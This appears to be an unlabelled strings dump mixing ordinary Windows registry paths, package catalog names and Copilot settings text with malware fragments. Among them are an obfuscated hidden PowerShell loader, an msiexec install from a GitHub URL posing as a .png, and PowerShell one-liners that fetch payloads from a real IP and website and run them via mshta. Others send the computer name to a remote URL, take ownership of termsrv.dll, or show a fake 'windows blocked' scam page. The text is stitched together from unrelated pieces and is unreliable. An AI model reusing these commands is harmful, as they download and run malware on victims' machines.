Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0@
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0@
Software\Policies\Microsoft\Windows\CurrentVer
spotlight|Windows spotlight|image|photo|picture|slideshow|slide show|lock screen settings|J
c:\windows\system32
windows\com
REGREAD ( "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" , "Rescue"R
start/minpowershell.exe-windowstylehidden"$nabolandenes=1;$kapsle='s';$kapsle+='ubstrin';$kapsle+='g';functionhandig($fyldepenneblkket){$bytteforholdet=$fyldepenneblkket.length-$nabolandenes;for($columbaries=4;$columbaries-lt$bytteforholdet;$columbaries+=(5)){$festskriftets+=$fyldepenneblkket.$kapsle.invoke($
com.microsoft.windows.extensions.xaml.textinput
6a^com.microsoft.windows.telemetryid
6b^com.microsoft.windows.extensionpackage
6c^com.microsoft.windows.extensionpackage
\windows\system32\drivers\etc\hosts
ComSpec=C:\WINDOWS\system32\cmd.exe
USERDOMAIN_ROAMINGPROFILE=Windows11
.CreateTextFile(AppPaths + "\Microsoft\Windows\Start Menu\Program
syswow64\\windows\
#-windowstylehidden-command`"start-process-filepath
\windows defender\signature updates]	
USER32.SetWindowsHookExW
C:\__w\1\s\Output\Release\x64\External\V21\GeneratedFiles\StartMenuLib\winrt\Windows.Storage.Compression.h
C:\__w\1\s\Output\Release\x64\External\V21\GeneratedFiles\StartMenuLib\winrt\Windows.Storage.Streams.h
C:\__w\1\s\Output\Packages\Microsoft.Windows.Wil.Internal.0.3.40\inc\wil\opensource\wil\win32_helpers.h
Windows Live Hojesmtp.bra.terraf
\evoke\windowsformsapp1\obj\
\\Evoke\\WindowsFormsApp1\\obj\\(Debug|Release)\\SharjahMeeting.pdb
C:\windows\exp
C:\windows\explo
C:\windows\
app.exe\c:\windows\
ApP.EXe\C:\windows\
%Microsoft Windows Production PCA 20110
Microsoft Windows0
%Microsoft Windows Production PCA 20110
https://login.windows.net/common/oauth2/nativeclient
https://login.windows.net/common/oauth2/nativeclient
c:\Windows\System32\termsrv.dll_backup39813C060000Error copy: Error takeown: !#ALF:Trojan:Win32/Androm.SM!MTB
windows.hlp
!ser-agent=Mozilla/5.0 (Windows NT 10.0; Win64; x
VCOMPONENT_INSTALLER_DIR=C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy9
SystemRoot=C:\WINDOWS
Windows.C
Windows.Data.Calling
s RAM usageAutomatically open Copilot when you sign into WindowsBrowse with Microsoft Copilot, search with Bing, and shop at the Microsoft and Windows stores to earn free rewardsEarn Microsoft Rewards in Microsoft CopilotCopilot connects local browsing data from this profile with the rest of Windows.When turned on, Microsoft Copilot will connect local browsing data from this profile with the rest of Windows. Turning this feature on will help you find information from your history, top sites and recent tabs more easily using features such as the search box on the taskbar in Windows. If you turn off this feature Microsoft Copilot will remove the data shared with Windows on the device and stop sharing any new browsing data from this profile.Save content using Collections in Microsoft CopilotAlways have access to your recent browsing data each time you browse on Microsoft CopilotChoose confirm to stop Microsoft Copilot from importing browser data from other browsers.Application behavior and featuresCustomize general application behavior settings like asking before closing multiple tabs, mouse gesture, and split screenAllow Copilot to save your passwords and keep them safe.Energy saver helps save device battery and reduce power consumption when you
hwindows\system\com4.{241d7c96-f8bf-4f85-b01f-e2b043341a4b}minergateCPU load
\windows\currentl
Ic:\windows\system32\rundll32.exe..\windows\system32\rundll32.exe019338921.dll,dllinstall
WindowsMostly
eric:microsoft_windows_shell_zipfolder:filename='+
vFC:\__w\1\s\Output\Release\x64\External\V21\GeneratedFiles\StartMenuLib\winrt\Windows.UI.Xaml.Hosting.h
C:\__w\1\s\Output\Release\x64\External\V21\GeneratedFiles\StartMenuLib\winrt\WindowsUdk.UI.Input.h
C:\__w\1\s\Output\Release\x64\External\V21\GeneratedFiles\StartMenuLib\winrt\WindowsUdk.Storage.h
SimpleTickerWindowsForms.SimpleTickerView.resourcesS
a/c:\windows\system32\msiexec.exe/q/ihttps://raw.githubusercontent.com/protonshshll/run/master/sihost64.png
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
.?AV?$RuntimeClass@U?$InterfaceListHelper@UIActivationFactory@@UIFamilySettingsStatics@Internal@FamilySafety@Windows@@VNil@Details@WRL@Microsoft
xeT,left;">warning!</h2><br>yourwindowshasbeenblockedduetosuspiciousactivity
edge-emulate-windows-sku
Microsoft.Windows.Kernel.Kernel
Microsoft-Windows-Kernel-Mm
Microsoft.Windows.Kernel.DeviceConfig
Windows 2006
Windows 2001.1 SP1
Windows 2001.1
Windows 2001 SP2
Windows 2001 SP1
Windows 2001
Windows 2000
Microsoft Windows NT
Microsoft WindowsME:Millennium Edition
Microsoft Windows
Microsoft.Windows.FileSystem.UnionFs
Microsoft.Windows.Kernel.Timer
InsideEdgeExtensionOnWindows
We've imported your extensions to the new Microsoft CopilotWe've installed your extensions in the new Microsoft CopilotHelp Microsoft improve our products by sending crash reports, info about how you use Copilot and the websites you visit.By clicking "Accept and get started" you allow Microsoft Copilot to $1update automatically$2 so that you always have the latest improvements. These updates are independent of your Windows update settings.Microsoft Copilot CompatibilitySites on this list will only be able to use the specified content decryption
s RAM usageAutomatically open Copilot when you sign into WindowsBrowse with Microsoft Copilot, search with Bing, and shop at the Microsoft and Windows stores to earn free rewardsEarn Microsoft Rewards in Microsoft CopilotCopilot connects local browsing data from this profile with the rest of Windows.When turned on, Microsoft Copilot will connect local browsing data from this profile with the rest of Windows. Turning this feature on will help you find information from your history, top sites and recent tabs more easily using features such as the search box on the taskbar in Windows. If you turn off this feature Microsoft Copilot will remove the data shared with Windows on the device and stop sharing any new browsing data from this profile.Save content using Collections in Microsoft CopilotAlways have access to your recent browsing data each time you browse on Microsoft CopilotChoose confirm to stop Microsoft Copilot from importing browser data from other browsers.Application behavior and featuresCustomize general application behavior settings like asking before closing multiple tabs, mouse gesture, and split screenAllow Copilot to save your passwords and keep them safe.Energy saver helps save device battery and reduce power consumption when you
takeown/f"%systemroot%\system32\shutdown.exe">nul2>&1
x5csoftware\x5cmicrosoft\x5cwindows\x5ccurrentversion
conhost.exe--headlesspowershell.exe-windowstylehidden
r$bkupinfo.save("c:\windows\temp\{$backupid}\bkupinfo.xml")
\windows\system32\wscript.exe/e:vbscript.encoded:\sony.mp3
!#SCRIPT:BAT/WinLogon
aphklm\software\microsoft\windowsnt\currentversion\winlogon
%Microsoft Windows Production PCA 20110
%Microsoft Windows Production PCA 2011
Microsoft.Windows.HyperV.VID
Microsoft.Windows.Kernel.Power
Microsoft.Windows.Kernel.Power.PpmFeedbackSnapLog
Microsoft.Windows.Kernel.Ttm
Microsoft.Windows.Superfetch
Microsoft.Windows.Kernel.Power
Microsoft-Windows-Kernel-Vm
6YDc:\windows\system32\cmd.exe/v:onh
onecoreuap\shell\windows.storage\copy.cpp
onecoreuap\shell\windows.storage\documentindex.cpp
onecoreuap\shell\windows.storage\msgraphhomefolder.cpp
onecoreuap\shell\windows.storage\filefldr.cpp
onecoreuap\shell\windows.storage\kfapi\kffacade.cpp
Fonecoreuap\shell\windows.storage\capturedcallercontextlib\capturedcallercontext.cpp
onecoreuap\shell\windows.storage\CapturedCallerContextLib\inc\UserManagerStaticHelpers.h
onecoreuap\shell\windows.storage\dataaccess.cpp
IsUnsupportedOnWindows10X called on Windows10X device
FindSharedWindowsRequestedEvent
Microsoft.Windows.ProcessLifetimeManager
Microsoft.Windows.ProcessStateManager.AppLibrary
Microsoft.Windows.Desktop.Shell.CoreApplication.CoreApplicationView
Microsoft.Windows.ComponentUI
Microsoft.Windows.CoreApplication
Microsoft.Windows.Wil.FeatureLogging
Microsoft.Windows.Desktop.Shell.TwinApi.ApplicationView
Microsoft.Windows.Shell.CortanaSearch
Microsoft.Windows.Shell.InputDialTrace
Microsoft.Windows.Shell.RadialControllerMenu
Microsoft.Windows.TWinAPI.MaterialProperties
Microsoft.Windows.PlatformExtensions
Microsoft.Windows.Desktop.TwinApi.ProjectionManager
Microsoft.Windows.Shell.ProjectionManager.DisplayPickerHelper
Microsoft.Windows.Application.ShareManagerApi
Microsoft.Windows.Application.SharePlatform
Microsoft.Windows.Shell.ExperienceHost
Microsoft.Windows.ApplicationModel.UserActivities
Microsoft.Windows.Shell.TwinApi.ShareWindowCommand
Microsoft.Windows.WindowServices
Microsoft.Windows.RemoteDesktop
Microsoft.Windows.Compatibility.Asl
Microsoft.Windows.Security.CodeIntegrity.State
Microsoft.Windows.Kernel.ProcessSubsystem
Microsoft.Windows.Kernel.Security
Microsoft-Windows-Client-Desktop-Required-Package04110~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft-Windows-Client-Desktop-Required-Package001120~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
Microsoft-Windows-Client-Desktop-Required-Package001120~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
WINDOWS NT
WINDOWS
x-windowsupdate://F363B8B7-42A3-4E47-AF97-DC73218F6DC1/2FF93C20-14BA-4CBD-BD81-0BC49484FDC6/99519416711358e8fee2d7dc0fa0c4ec2e397acf
/C:/WINDOWS/InboxApps/
msWindowsShare
*andlinedirectory=""windowstate="minimized"params="/v/csetw
$..\windows\system32\cmd.exe
Windows Produc
WINDOWS11
Microsoft-Windows-Client-Desktop-Required-Package0415~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Desktop-Required-Package0411~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
\SystemRoot\System32\drivers\clipsp.sys
Microsoft-Windows-NFS-Administration-D-Opt-Package~31bf3856ad364e35~amd64~~10.0.26100.7019.cat
Microsoft-Windows-NFS-ClientCore-D-Opt-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat
c:\windows\system32\cmd
Microsoft-Windows-Printer-Drivers-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat
Microsoft-Windows-Kernel-Package-Ntdll-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft-Windows-Kernel-Package-Ntdll-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft.Windows.CastGuard.AuditMode
Microsoft.Windows.Kernel.VsmEnclaveLoader
LOGONSERVER=\\WINDOWS11
windir=C:\WINDOWS
SystemRoot=C:\WINDOWS
USERDOMAIN=Windows11
"http://a0.pm:8080/bpyyhv5j39jyeliruybfp/odo5vxftlkkm/!computername!"y^g^zatpx=^q^l^n^w/^q^ui^e^t^c^vd^ro^fu^g^e=^mfwz!%systemroot%\system32\shell32.dll
/c"spastics\styracin.cmdreg"imonoeidicxsortieingc:\windows\system32\zipfldr.dll%systemroot%\system32\zipfldr.dll%systemroot%\system32\zipfldr.dll%wn]nd.
Dpowershell.exe-windowstylehidden"get-
3c:\windows\system32\windowspowershell\v1.0\powershell.exe-nop-wh-cwget-o$env:temp\f.hethttps://www.messias.org.br/tmp/ll/hta/f.het;mshta$env:temp\f.het
c:\windows\system32\windowspowershell\v1.0\powershell.exe.(gp-pa'hklm:\sof*\clas*\applications\msh*e').('pschildname')http://195.123.244.106:8080/file2
%systemroot%\system32\rdp%
.?AU?$produce@U?$vector_impl@UAdaptiveWarning@Uwp@ObjectModel@AdaptiveCards@winrt@@V?$vector@UAdaptiveWarning@Uwp@ObjectModel@AdaptiveCards@winrt@@V?$allocator@UAdaptiveWarning@Uwp@ObjectModel@AdaptiveCards@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@5@@impl@winrt@@U?$IVector@UAdaptiveWarning@Uwp@ObjectModel@AdaptiveCards@winrt@@@Collections@Foundation@Windows@3@@impl@winrt@@
.?AU?$root_implements@U?$vector_impl@UAdaptiveWarning@Uwp@ObjectModel@AdaptiveCards@winrt@@V?$vector@UAdaptiveWarning@Uwp@ObjectModel@AdaptiveCards@winrt@@V?$allocator@UAdaptiveWarning@Uwp@ObjectModel@AdaptiveCards@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@5@@impl@winrt@@U?$IVector@UAdaptiveWarning@Uwp@ObjectModel@AdaptiveCards@winrt@@@Collections@Foundation@Windows@3@U?$IVectorView@UAdaptiveWarning@Uwp@ObjectModel@AdaptiveCards@winrt@@@5673@U?$IIterable@UAdaptiveWarning@Uwp@ObjectModel@AdaptiveCards@winrt@@@5673@@impl@winrt@@
.?AU?$implements@U?$vector_impl@UAdaptiveWarning@Uwp@ObjectModel@AdaptiveCards@winrt@@V?$vector@UAdaptiveWarning@Uwp@ObjectModel@AdaptiveCards@winrt@@V?$allocator@UAdaptiveWarning@Uwp@ObjectModel@AdaptiveCards@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@5@@impl@winrt@@U?$IVector@UAdaptiveWarning@Uwp@ObjectModel@AdaptiveCards@winrt@@@Collections@Foundation@Windows@3@U?$IVectorView@UAdaptiveWarning@Uwp@ObjectModel@AdaptiveCards@winrt@@@5673@U?$IIterable@UAdaptiveWarning@Uwp@ObjectModel@AdaptiveCards@winrt@@@5673@@winrt@@
.?AU?$producer@U?$vector_impl@UAdaptiveWarning@Uwp@ObjectModel@AdaptiveCards@winrt@@V?$vector@UAdaptiveWarning@Uwp@ObjectModel@AdaptiveCards@winrt@@V?$allocator@UAdaptiveWarning@Uwp@ObjectModel@AdaptiveCards@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@5@@impl@winrt@@U?$IIterable@UAdaptiveWarning@Uwp@ObjectModel@AdaptiveCards@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producer@U?$vector_impl@UAdaptiveWarning@Uwp@ObjectModel@AdaptiveCards@winrt@@V?$vector@UAdaptiveWarning@Uwp@ObjectModel@AdaptiveCards@winrt@@V?$allocator@UAdaptiveWarning@Uwp@ObjectModel@AdaptiveCards@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@5@@impl@winrt@@U?$IVectorView@UAdaptiveWarning@Uwp@ObjectModel@AdaptiveCards@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producer_convert@U?$vector_impl@UAdaptiveWarning@Uwp@ObjectModel@AdaptiveCards@winrt@@V?$vector@UAdaptiveWarning@Uwp@ObjectModel@AdaptiveCards@winrt@@V?$allocator@UAdaptiveWarning@Uwp@ObjectModel@AdaptiveCards@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@5@@impl@winrt@@U?$IIterable@UAdaptiveWarning@Uwp@ObjectModel@AdaptiveCards@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
System.Windows.Forms.UnsafeNativeMethods.ITableProvider.RowOrColumnMajor
System.Windows.Forms.UnsafeNativeMethods.ITableProvider.get_RowOrColumnMajor
!tyotxsgboal.open"get",dvehkdj&"windows",falsedocd
Microsoft-Windows-Client-Features-Package05~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Desktop-Required-Package04110~31bf3856ad364e35~amd64~~10.0.26100.1591.cat
Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
set_WindowState
IsDockWindowState
FormWindowState
Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package0415~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package0415~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
EnumDesktopWindows
GetProcessWindowStation
>C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy9
\Packages\MicrosoftWindows.Client.CBS_cw5n1~
\Windows\
Windows
WindowsCE
Microsoft-Windows-Client-Desktop-Required-Package04~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Desktop-Required-Package04~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
C:\__w\1\s\Output\Packages\Microsoft.Windows.Wil.Internal.0.3.40\inc\wil\opensource\wil\result.h
OS=Windows_NT
OS=Windows_NT
Windows/wbem/root/cimv2#.config
ComSpec=C:\WINDOWS\system32\cmd.exe
d:\build\ob\bora-24843032\src\bora-vmsoft\build\release-x64\tools-for-windows\Win32\services\plugins\autoLogon\autoLogon.pdb
pWindowsP
msWindowsUserActivities\
WINDOWS\ServiceProfiles\Local
system32\cmd.exe
be^windows.protocol
Microsoft-Windows-Client-Desktop-Required-Package02~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package001020~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package0414~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0414~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package0411~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-Package04~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0415~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0417~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package0411~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-Client-Desktop-Required-Package0413~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-Package04~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0415~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-CoreSystem-DXG-Common-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-Client-Desktop-Required-Package0411~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-Package04~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-CoreSystem-Security-Package~31bf3856ad364e35~amd64~~10.0.26100.7309.cat|
Microsoft-Windows-IIS-WebServer-ServerCommon-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Windows.Gaming.Input.dll
Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Features-Package05~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Features-Package0510~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-Client-Features-Package05~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Features-WOW64-Package0110~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
UserExperience-Desktop-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|UserExperience-Desktop-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|UserExperience-LKG-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|soft-Windows-Client-Features-Package05~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Features-WOW64-Package0110~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Features-WOW64-Package0110~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Box1_MouseMoveWindowsApplic
SCRIPT:VBSSaveToWindowsTemp.A
SCRIPT:IwshshellRunWindowsTemp.A
C:\WINDOWS\system32\svchost.exe -k NetworkService -p
OS=Windows_NT
Path=C:\WINDOWS\system32;
WindowsImpersonationContext
Global.WindowsOobeAppHost.AppXz53mm6ghetj3f5m66ea0rhahd10qadp8.wwa
Global.WindowsOobeAppHost.AppX05dbt8nqg2my7an1972z1krx3ezgsqph.mca
WindowsOobeAppHost.AppX9g38f7ck9dycet3v4dtd5skcn8z020zj.wwa
WindowsOobeAppHost.AppXtrjm3twvhvv4twryxks256hqxwsngpfx.mca
MicrosoftWindows.Client.OOBE_cw5n1h2txyewy
MicrosoftWindows.Client.OOBE_cw5n1h2txyewy!PackageMetadata
windows.hlp`
49^windows.appExtension
34^windows.appExecutionAlias
windows.appExecutionAlias
35^windows.appExtension
QWindowsCaRootFetcher
WindowsPipec
WindowsCodecs.dll
cmd /k c:\windows\
WINDOWS\SYSTEM32\redapp
6d^com.microsoft.windows.extensions.xaml.accountdialog
com.microsoft.windows.extensions.xaml.desktopstickereditor3
6e^com.microsoft.windows.extension.shellhost.component
com.microsoft.windows.extension.shellhost.component
ROOT\Microsoft\Windows\Defender
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.26100.1591.cat
Microsoft-Windows-CoreSystem-UnifiedBPM-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
</a> MicrosofolOverrides@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UDialogsPage@implementation@TaskManagerApp@winrt@@UIControlOverrides@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UDialogsPage@implementation@TaskManagerApp@winrt@@UIControlOverrides6@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UDialogsPage@implementation@TaskManagerApp@winrt@@UIControlOverrides6@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UDialogsPage@implementation@TaskManagerApp@winrt@@UIFrameworkElementOverrides@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UDialogsPage@implementation@TaskManagerApp@winrt@@UIFrameworkElementOverrides@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UDialogsPage@implementation@TaskManagerApp@winrt@@UIFrameworkElementOverrides2@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UDialogsPage@implementation@TaskManagerApp@winrt@@UIFrameworkElementOverrides2@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UDialogsPage@implementation@TaskManagerApp@winrt@@UIUIElementOverrides@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UDialogsPage@implementation@TaskManagerApp@winrt@@UIUIElementOverrides@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UDialogsPage@implementation@TaskManagerApp@winrt@@UIUIElementOverrides7@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UDialogsPage@implementation@TaskManagerApp@winrt@@UIUIElementOverrides7@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UDialogsPage@implementation@TaskManagerApp@winrt@@UIUIElementOverrides8@Xaml@UI@Windows@4@X@impl@winrt@@
